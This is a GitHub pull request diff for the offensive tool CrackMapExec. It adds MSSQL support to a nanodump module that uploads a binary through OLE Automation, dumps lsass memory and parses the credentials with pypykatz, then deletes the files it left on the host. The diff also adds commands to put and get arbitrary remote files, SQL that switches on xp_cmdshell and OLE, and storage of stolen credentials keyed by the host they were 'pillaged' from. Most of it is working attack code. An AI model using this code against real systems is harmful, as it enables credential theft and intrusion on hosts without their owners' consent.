Skip to content
This repository has been archived by the owner on Dec 6, 2023. It is now read-only.

Mssql upload / download #597

Merged
merged 4 commits into from
Oct 13, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
82 changes: 59 additions & 23 deletions cme/modules/nanodump.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,13 @@
import os
from datetime import datetime
from pypykatz.pypykatz import pypykatz
from cme.protocols.mssql.mssqlexec import MSSQLEXEC

class CMEModule:

name = 'nanodump'
description = "Get lsass dump using nanodump and parse the result with pypykatz"
supported_protocols = ['smb']
supported_protocols = ['smb', 'mssql']
opsec_safe = True # not really
multiple_hosts = True

Expand Down Expand Up @@ -62,23 +63,38 @@ def options(self, context, module_options):
def on_admin_login(self, context, connection):
if self.useembeded == True:
with open(self.nano_path + self.nano, 'wb') as nano:
if connection.os_arch == 32:
if connection.os_arch == 32 and context.protocol == 'smb':
context.log.info("32-bit Windows detected.")
nano.write(self.nano_embedded32)
elif connection.os_arch == 64:
elif connection.os_arch == 64 and context.protocol == 'smb':
context.log.info("64-bit Windows detected.")
nano.write(self.nano_embedded64)
elif context.protocol == 'mssql':
nano.write(self.nano_embedded64)
else:
context.log.error('Unsupported Windows architecture')
sys.exit(1)

context.log.info('Copy {} to {}'.format(self.nano_path + self.nano, self.tmp_dir))
with open(self.nano_path + self.nano, 'rb') as nano:
try:
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
context.log.success('Created file {} on the \\\\{}{}'.format(self.nano, self.share, self.tmp_share))
except Exception as e:
context.log.error('Error writing file to share {}: {}'.format(self.share, e))
if context.protocol == 'smb':
with open(self.nano_path + self.nano, 'rb') as nano:
try:
connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
context.log.success('Created file {} on the \\\\{}{}'.format(self.nano, self.share, self.tmp_share))
except Exception as e:
context.log.error('Error writing file to share {}: {}'.format(self.share, e))
else:
with open(self.nano_path + self.nano, 'rb') as nano:
try:
context.log.info('Copy {} to {}'.format(self.nano, self.tmp_dir))
exec_method = MSSQLEXEC(connection.conn)
exec_method.put_file(nano.read(), self.tmp_dir + self.nano)
if exec_method.file_exists(self.tmp_dir + self.nano):
context.log.success('Created file {} on the remote machine {}'.format(self.nano, self.tmp_dir))
else:
context.log.error('File does not exist on the remote system.. eror during upload')
sys.exit(1)
except Exception as e:
context.log.error('Error writing file to remote machine directory {}: {}'.format(self.tmp_dir, e))

# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
Expand All @@ -101,24 +117,44 @@ def on_admin_login(self, context, connection):
if dump:
context.log.info('Copying {} to host'.format(nano_log_name))
filename = '{}{}_{}_{}.log'.format(self.dir_result,connection.hostname,connection.os_arch,connection.domain)
with open(filename, 'wb+') as dump_file:
if context.protocol == 'smb':
with open(filename, 'wb+') as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(filename))
except Exception as e:
context.log.error('Error while getting file: {}'.format(e))

try:
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
context.log.success('Deleted nano file on the {} share'.format(self.share))
except Exception as e:
context.log.error('Error deleting nano file on share {}: {}'.format(self.share, e))

try:
connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
except Exception as e:
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
else:
try:
exec_method = MSSQLEXEC(connection.conn)
exec_method.get_file(self.tmp_dir + nano_log_name, filename)
context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(filename))
except Exception as e:
context.log.error('Error while getting file: {}'.format(e))

try:
connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
context.log.success('Deleted nano file on the {} share'.format(self.share))
except Exception as e:
context.log.error('Error deleting nano file on share {}: {}'.format(self.share, e))
try:
connection.conn.deleteFile(self.share, self.tmp_share + nano_log_name)
context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share))
except Exception as e:
context.log.error('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e))
try:
connection.execute('del {}'.format(self.tmp_dir + self.nano))
context.log.success('Deleted nano file on the {} dir'.format(self.share))
except Exception as e:
context.log.error('Error deleting nano file on dir {}: {}'.format(self.tmp_dir, e))

try:
connection.execute('del {}'.format(self.tmp_dir + nano_log_name))
context.log.success('Deleted lsass.dmp file on the {} dir'.format(self.tmp_dir))
except Exception as e:
context.log.error('Error deleting lsass.dmp file on dir {}: {}'.format(self.tmp_dir, e))

fh = open(filename, "r+b")
fh.seek(0)
Expand Down
30 changes: 30 additions & 0 deletions cme/protocols/mssql.py
Original file line number Diff line number Diff line change
Expand Up @@ -47,6 +47,10 @@ def proto_args(parser, std_parser, module_parser):
psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')

tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt')
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt')

return parser

def proto_flow(self):
Expand Down Expand Up @@ -279,6 +283,32 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa
ps_command = create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs)
return self.execute(ps_command, get_output)

@requires_admin
def put_file(self):
self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
with open(self.args.put_file[0], 'rb') as f:
try:
data = f.read()
self.logger.info('Size is {} bytes'.format(len(data)))
exec_method = MSSQLEXEC(self.conn)
exec_method.put_file(data, self.args.put_file[1])
if exec_method.file_exists(self.args.put_file[1]):
self.logger.success('File has been uploaded on the remote machine')
else:
self.logger.error('File does not exist on the remote system.. erorr during upload')
except Exception as e:
self.logger.error('Error during upload : {}'.format(e))

@requires_admin
def get_file(self):
self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
try:
exec_method = MSSQLEXEC(self.conn)
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
except Exception as e:
self.logger.error('Error reading file {}: {}'.format(self.args.get_file[0], e))

# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
# The whole tds library in impacket needs a good overhaul to preserve my sanity

Expand Down
35 changes: 31 additions & 4 deletions cme/protocols/mssql/database.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,9 @@ def db_schema(db_conn):
"credtype" text,
"domain" text,
"username" text,
"password" text
"password" text,
"pillaged_from_computerid" integer,
FOREIGN KEY(pillaged_from_computerid) REFERENCES computers(id)
)''')

def add_computer(self, ip, hostname, domain, os, instances):
Expand All @@ -46,20 +48,45 @@ def add_computer(self, ip, hostname, domain, os, instances):

cur.close()

def add_credential(self, credtype, domain, username, password):
def add_credential(self, credtype, domain, username, password, groupid=None, pillaged_from=None):
"""
Check if this credential has already been added to the database, if not add it in.
"""

domain = domain.split('.')[0].upper()
user_rowid = None
cur = self.conn.cursor()

cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
if groupid and not self.is_group_valid(groupid):
cur.close()
return

if pillaged_from and not self.is_computer_valid(pillaged_from):
cur.close()
return

cur.execute("SELECT * FROM users WHERE LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND LOWER(credtype)=LOWER(?)", [domain, username, credtype])
results = cur.fetchall()

if not len(results):
cur.execute("INSERT INTO users (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password])
cur.execute("INSERT INTO users (domain, username, password, credtype, pillaged_from_computerid) VALUES (?,?,?,?,?)", [domain, username, password, credtype, pillaged_from])
user_rowid = cur.lastrowid
if groupid:
cur.execute("INSERT INTO group_relations (userid, groupid) VALUES (?,?)", [user_rowid, groupid])
else:
for user in results:
if not user[3] and not user[4] and not user[5]:
cur.execute('UPDATE users SET password=?, credtype=?, pillaged_from_computerid=? WHERE id=?', [password, credtype, pillaged_from, user[0]])
user_rowid = cur.lastrowid
if groupid and not len(self.get_group_relations(user_rowid, groupid)):
cur.execute("INSERT INTO group_relations (userid, groupid) VALUES (?,?)", [user_rowid, groupid])

cur.close()

logging.debug('add_credential(credtype={}, domain={}, username={}, password={}, groupid={}, pillaged_from={}) => {}'.format(credtype, domain, username, password, groupid, pillaged_from, user_rowid))

return user_rowid

def remove_credentials(self, credIDs):
"""
Removes a credential ID from the database
Expand Down
42 changes: 41 additions & 1 deletion cme/protocols/mssql/mssqlexec.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import logging

import binascii

class MSSQLEXEC:

Expand Down Expand Up @@ -31,3 +31,43 @@ def enable_xp_cmdshell(self):

def disable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")

def enable_ole(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;")

def disable_ole(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;")

def put_file(self, data, remote):
try:
self.enable_ole()
hexdata = data.hex()
self.mssql_conn.sql_query("DECLARE @ob INT;"
"EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;"
"EXEC sp_OASetProperty @ob, 'Type', 1;"
"EXEC sp_OAMethod @ob, 'Open';"
"EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};"
"EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;"
"EXEC sp_OAMethod @ob, 'Close';"
"EXEC sp_OADestroy @ob;".format(hexdata, remote))
self.disable_ole()
except Exception as e:
logging.debug('Error uploading via mssqlexec: {}'.format(e))

def file_exists(self, remote):
try:
res = self.mssql_conn.batch("DECLARE @r INT; EXEC master.dbo.xp_fileexist '{}', @r OUTPUT; SELECT @r as n".format(remote))[0]['n']
return res == 1
except:
return False

def get_file(self, remote, local):
try:
self.mssql_conn.sql_query("SELECT * FROM OPENROWSET(BULK N'{}', SINGLE_BLOB) rs".format(remote))
data = self.mssql_conn.rows[0]['BulkColumn']

with open(local, 'wb+') as f:
f.write(binascii.unhexlify(data))

except Exception as e:
logging.debug('Error downloading via mssqlexec: {}'.format(e))